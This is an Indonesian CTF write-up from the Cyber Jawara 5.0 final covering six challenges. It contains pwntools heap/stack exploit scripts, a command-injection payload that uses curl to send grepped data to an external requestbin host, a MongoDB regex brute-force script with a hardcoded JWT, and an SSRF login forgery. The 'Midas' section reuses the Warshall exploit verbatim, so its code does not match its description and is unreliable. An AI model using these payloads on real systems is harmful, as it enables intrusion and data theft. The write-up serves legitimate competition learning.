Write Up Final Cyber Jawara 5.0

ZEN

Steven Kusuman
Raihan Ramadistra Pratama
Febriananda Wida Pramudita

Universitas Indonesia

Warshall

Bug terdapat pada index overflow pada {Build Direct Road} dan {Shortest path}. {Shortest path} digunakan untuk leak libc, dan build direct road digunakan untuk mengubah return address dari fungsi sub_110F menjadi address dari one gadget di libc 2.28 yang bersyarat rcx == 0

```
from pwn import *




if '-r' in sys.argv:
	r = remote('34.87.70.206', 10001)
	libc = ELF('libc-2.28.so', checksec=False)
	offset_one_gadget = 0x50186
	offset___libc_start_main_ret = 0x2409b

else:
	r = process('./warshall')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	offset_one_gadget = 0xf1147
	offset___libc_start_main_ret = 0x20830

def add_city(idx):
	r.sendlineafter('> ', '1')
	r.sendlineafter(': ', 'city{}'.format(idx))

def tambah_jalan(a, b, c):
	r.sendlineafter('> ', '2')
	r.sendlineafter(': ', 'city{}'.format(a))
	r.sendlineafter(': ', 'city{}'.format(b))
	r.sendlineafter(': ', str(c))

def find_sopat(a, b):
	r.sendlineafter('> ', '3')
	r.sendlineafter(': ', 'city{}'.format(a))
	r.sendlineafter(': ', 'city{}'.format(b))
	r.recvuntil(':')
	ret = int(r.recvline().split('km')[0])
	ret %= (2**32)
	return ret

def eget(x):
	return (x / 100, x % 100)
```

```
for i in range(0x100):
	add_city(i)

leakarr = [None] * (256)
leakaddr = [None] * (256/ 2)

tambah_jalan(1, 2, 0)

for a in range(100):
	print 'ki', a
	for b in range(a, 100):
		tambah_jalan(a, b, 0)

BASE = 100*100

# 20150 20151 0x7f34f9910830
# 10134 10135 0x55dc2fdaf19b

# leak libc
a, b = eget(20150)
ll = find_sopat(a, b)
a, b = eget(20151)
hh = find_sopat(a, b)
nn = hh*(2**32) + ll
print 'libc address', hex(nn)
libc.address = nn - offset___libc_start_main_ret


# leak libc
a, b = eget(20150 - 4)
ll = find_sopat(a, b)
a, b = eget(20151 - 4)
hh = find_sopat(a, b)
nn = hh*(2**32) + ll
print 'anjing', hex(nn)

one_gadget = libc.address + offset_one_gadget
print 'one_gadget', hex(one_gadget)
ll = one_gadget % (2**32)
if ll >= 2**31:
	ll -= 2**32
hh = one_gadget / (2**32)
if hh >= 2**31:
	hh -= 2**32

TL = 20150
```

```
TH = 20151

a, b = eget(10006)
print a, b
tambah_jalan(a, b, ll)
a, b = eget(10007)
print a, b
tambah_jalan(a, b, ll)

# gdb.attach(r)
r.interactive()
```

Flag: CJ2019{68aba30bebe7e486e3b8a387d02fada9}

Midas

Terdapat bug index overflow pada fungsi compute. Dimana anda bisa melakukan operasi berikut:

- Mengubah suatu value int di stack menjadi 2 kali lipatnya sehingga jika value itu dikali 2 sebanyak 32 kali akan menjadi sama dengan 0
- Menambah suatu value int di stack dengan 1

Sehingga saya bisa overwrite value di stack dengan value apapun. Berikut adalah exploit saya

```
from pwn import *




if '-r' in sys.argv:
	r = remote('34.87.70.206', 10001)
	libc = ELF('libc-2.28.so', checksec=False)
	offset_one_gadget = 0x50186
	offset___libc_start_main_ret = 0x2409b

else:
	r = process('./warshall')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	offset_one_gadget = 0xf1147
	offset___libc_start_main_ret = 0x20830

def add_city(idx):
	r.sendlineafter('> ', '1')
	r.sendlineafter(': ', 'city{}'.format(idx))
```

```
def tambah_jalan(a, b, c):
	r.sendlineafter('> ', '2')
	r.sendlineafter(': ', 'city{}'.format(a))
	r.sendlineafter(': ', 'city{}'.format(b))
	r.sendlineafter(': ', str(c))

def find_sopat(a, b):
	r.sendlineafter('> ', '3')
	r.sendlineafter(': ', 'city{}'.format(a))
	r.sendlineafter(': ', 'city{}'.format(b))
	r.recvuntil(':')
	ret = int(r.recvline().split('km')[0])
	ret %= (2**32)
	return ret

def eget(x):
	return (x / 100, x % 100)


for i in range(0x100):
	add_city(i)

leakarr = [None] * (256)
leakaddr = [None] * (256/ 2)

tambah_jalan(1, 2, 0)

for a in range(100):
	print 'ki', a
	for b in range(a, 100):
		tambah_jalan(a, b, 0)

BASE = 100*100

# 20150 20151 0x7f34f9910830
# 10134 10135 0x55dc2fdaf19b

# leak libc
a, b = eget(20150)
ll = find_sopat(a, b)
a, b = eget(20151)
hh = find_sopat(a, b)
nn = hh*(2**32) + ll
print 'libc address', hex(nn)
libc.address = nn - offset___libc_start_main_ret
```

```
# leak libc
a, b = eget(20150 - 4)
ll = find_sopat(a, b)
a, b = eget(20151 - 4)
hh = find_sopat(a, b)
nn = hh*(2**32) + ll
print 'anjing', hex(nn)

one_gadget = libc.address + offset_one_gadget
print 'one_gadget', hex(one_gadget)
ll = one_gadget % (2**32)
if ll >= 2**31:
       ll -= 2**32
hh = one_gadget / (2**32)
if hh >= 2**31:
       hh -= 2**32

TL = 20150
TH = 20151

a, b = eget(10006)
print a, b
tambah_jalan(a, b, ll)
a, b = eget(10007)
print a, b
tambah_jalan(a, b, ll)

# gdb.attach(r)
r.interactive()
```

Flag: CJ2019{0c7a201ae34ec921353d534aff55ce0b}

EZPHP

Ketika melakukan bleed menggunakan fungsi ezphp(), tiba-tiba flag muncul, entah karena error atau memang expected behavior.

```
CJ2019{86c48c6f684efb501285ccbec1ee963a}
Warning: ezphp() expects exactly 2 parameters, 1 given in
/var/www/html/index.php(7) : eval()'d code on line 1
```

Flag: `CJ2019{86c48c6f684efb501285ccbec1ee963a}`

LookingGlass

pertama kita coba-coba leak environment variable lewat command host, tapi entah kenapa sepertinya command host, traceroute, etc mati. Sehingga yang bisa digunakan hanya command ping. Yang pertama dilakukan adalah melakukan bypass terhadap `FILTER_VALIDATE_URL`, yang bisa dilakukan dengan mengganti protocol http:// menjadi 0://. Selanjutnya karena spasi terfilter kita menggunakan ${IFS} (variable yang berguna ketika mensplit string berdasarkan whitespace dalam loop). Selanjutnya rce sudah bisa dengan mudah dilakukan, tetapi masih ada beberapa kesulitan karena reverse shell saya tidak sampai-sampai. Kita menggunakan bantuan requestbin untuk mengirim data lewat curl. berikut payload kami :

kirim payload lewat POST request
http://34.87.70.206:20001/ajax.php?cmd=ping&host=0://0.http.a;$(curl${IFS}-d${IFS}$(printf${IFS}%27x=%27$(grep${IFS}-r${IFS}%22CJ%22${IFS}..))${IFS}%27enw8yms47184.x.pipedream.net%27)

flag: CJ2019{943136ed2ac5f1edda4075c5868861d5}

Choerry

Kita dapat mengquery hashed password admin dari graphql. Lalu hashed password tersebut merupakan SHA256 dari “rookie” setelah mendapatkan akses admin kita dapat menggunakan query secret. Namun ketika melakukan secret kita harus memberi sebuah parameter string json misalnya {}, dengan parameter tersebut muncul sebuah secret dengan title “Flag” namun content dari secret tersebut redacted. Setelah itu kami mencoba parameter lain seperti [], lalu kami mendapat error message seperti error dari driver mongodb. Sehingga kami mencoba mengisi parameter tersebut dengan query mongo, yaitu mencocokan content dengan regex CJ2019{.*} dan melakukan brute force.

```
import requests

auth_token='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTcxMjA0MDI5fQ.65ZCiA6n9Iaed31bOMWPNIh5TbE6GXFVtLtFKVglgCw'
hed = {'Authorization': 'Bearer ' + auth_token}
```

```
url = 'http://34.87.70.206:20003/graphql'
alphabet = '0123456789abcdef'
depan='0350dd948bd5059dc31700919e058e2'
while True:
    for i in alphabet:
        js = {
        "operationName": "Ngecit",
        "query": """
        query Ngecit {
        secret(search:"{\\"content\\":{\\"$regex\\": \\"^CJ2019{%s.*}\\"}}") {
        title
        content
        }
        }
        """ % (depan+i)
        }

        r = requests.post(url, headers=hed, json=js)
        if 'null' not in r.content:
            depan+=i
            print depan
            break
```

flag: `CJ2019{0350dd948bd5059dc31700919e058e28}`

Yves

```
exports.login = async function (req, res, next) {
    try {
        const { username, password } = req.body;
        const response = await axios({
            method: 'get',
            url: joinPath(usersBaseURL, username),
        });
        const user = response.data && response.data.data;

        const hash = crypto.createHash('sha256').update(password).digest('hex');
```

```
        if (!user || user.password !== hash) {
            return res.status(401).json({errors: ['Invalid username or password']});
        }
        if (!user.id) {
            return res.status(500);
        }
        const payload = {id: user.id, username: user.username};
        const token = jwt.sign(payload, process.env.JWT_SECRET);
        return res.json({data: {token}});
```

Pada fungsi login di server node, fungsi tersebut memanggil service go yaitu pada path /api/users/<username>. Server akan merespon dengan user id dan hash password. Jika hash dari password pada request body sama dengan hash password yang diberikan oleh service go maka server node akan mengembalikan jwt untuk user dengan user id response.data.data.id. Celah fungsi login tersebut adalah pada fungsi joinPath, joinPath("http://serivce/apis/users", "username") == "http://serivce/apis/users/username") namun joinPath("http://serivce/apis/users", "https://pastebin.com/raw/3z42TyPa") == "https://pastebin.com/raw/3z42TyPa" sehingga kita dapat memforge response dengan mengarahkan url ke server external yang memberikan response

```
{
  "data": {
       "id": 1,
       "password": "9f30fe1443428bc192facf299139080b5c50eed4066e2392ff86883e6e0a6d01"
       }
}
```

"`9f30fe1443428bc192facf299139080b5c50eed4066e2392ff86883e6e0a6d01`" merupakan SHA256 dari "woi" sehingga jika kita login dengan

```
{
       "username": "https://pastebin.com/raw/3z42TyPa",
       "password": "woi"
}
```

Akan mendapatkan jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNTcxMjE0MjYyfQ.GTKo5H4TBoAlUa9VofhORILIcvVwJugvxpFx1OtYUbg yang memberikan kita akses kepada notes user dengan user id 1

Flag: CJ2019{e64bc3584fb36546ba6ff79b65de5e57}